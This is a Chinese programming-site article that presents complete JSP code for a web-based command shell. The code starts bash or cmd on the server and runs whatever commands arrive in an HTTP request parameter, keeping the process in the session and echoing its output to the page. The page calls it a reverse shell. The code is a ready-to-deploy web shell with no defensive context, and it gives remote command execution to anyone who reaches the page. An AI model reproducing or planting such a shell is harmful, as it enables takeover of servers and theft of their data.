-
您的位置:首页 → 技术开发 → JSP 学院 → 教你用jsp写反弹的shell
教你用jsp写反弹的shell
时间:2009/10/30 14:48:00来源:本站整理作者:我要评论(1)
-
一个jsp的cmdshell支持windows及linux可以实现命令交互,相当于一个反弹的shell,支持等dir命令。
<%@page contentType="text/html;charset=gb2312"% >
<%@ page import="java.io.*"%> <!-- 导入java.io-->
<%
File f = new File("/");
String txt=(String)session.getAttribute("txt");
Process pro=(Process)session.getAttribute("cmd");
String v = request.getParameter("v");
boolean isLinux=System.getProperty("os.name").startsWith("Linux");
if(pro==null)
{
if(isLinux){
pro=Runtime.getRuntime().exec("bash",null,f);
}else{
pro=Runtime.getRuntime().exec("cmd",null,f);
}
session.setAttribute("cmd",pro);
txt="";
}
if(v.equals("clear")){
txt="";
return;
}else if(v.equals("exit"))
{
session.removeAttribute("cmd");
}
if(v!=null)
{
v=v+"\r\n";
OutputStream os=pro.getOutputStream();
os.write(v.getBytes());
os.flush();
}
if(v!=null||(txt.length()==0))
{
InputStream is=pro.getInputStream();
for(int i=0;i<10||is.available()>0;i++)
{
if(i==9)is=pro.getErrorStream();
if(is.available()==0)
{
Thread.sleep(500L);
}else
{
i=0;
byte by[]=new byte[is.available()];
is.read(by);
String str=new String(by).replaceAll("<","<");
int cls=str.lastIndexOf("\f");
txt=cls==-1?txt+str:str.substring(cls+1);
}
}
session.setAttribute("txt",txt);
}
out.print("<pre>"+txt+"</pre>");
out.print("Made By 孤水绕城");
%>
相关阅读
jsp统计在线人数代码jsp技巧大全JSP页面间传递参数方法几个提升JSP应用程序效率的小方法JSP中文字符乱码处理的2种方法jsp上传组件smartupload介绍JSP初学者必须掌握的语法点告诉大家JSP连接数据库程序代码
-
热门文章
没有查询到任何记录。
最新文章
Java中Servlet获得异步
Java中Servlet获得异步支持java递归实现文件的删除和拷贝innerHTML怎样失焦判断FreeMarker和Jsp的应用范围
人气排行
java如何远程登录linux并执行其命令教你用jsp写反弹的shellFreeMarker和Jsp的应用范围Java 7关于#的用法jsp统计在线人数代码Java短信发送机的实现如何用java连接数据库方法Java中Servlet获得异步支持
查看所有1条评论>>